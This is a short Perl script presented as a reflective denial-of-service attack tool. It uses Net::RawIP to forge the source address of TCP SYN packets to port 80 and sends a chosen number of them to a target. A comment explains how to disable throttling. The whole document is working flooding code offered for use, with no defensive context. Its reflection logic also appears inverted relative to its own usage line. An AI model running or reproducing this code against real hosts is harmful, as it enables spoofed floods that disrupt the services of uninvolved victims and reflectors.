# Perl implementation of an rDoS (Reflective Denial of Service) attack.
#!/usr/bin/perl
use Net::RawIP;

if ($#ARGV < 0 ) {
	print "\nUsage : $0 mirror victim packets.\n";
	exit;
}
$source = $ARGV[0];
$destination = $ARGV[1];
$packets = $ARGV[2] + 1;
chomp($packets);
chomp($source);
chomp($destination);
print "\nBuilding and sending packets...\n";
$sock = new Net::RawIP({tcp => {}});
$sock -> set ( { tcp => {
	dest => 80,
	source => 80,
	syn => 1
	}
});
for ($i = 1; $i < $packets; $i++){
print ".\n";

$sock -> set ( { ip => {
	saddr => $source,
	daddr => $destination
	}
});
$sock -> send(1); # Change (1) to (0) to remove packet throttling.
}
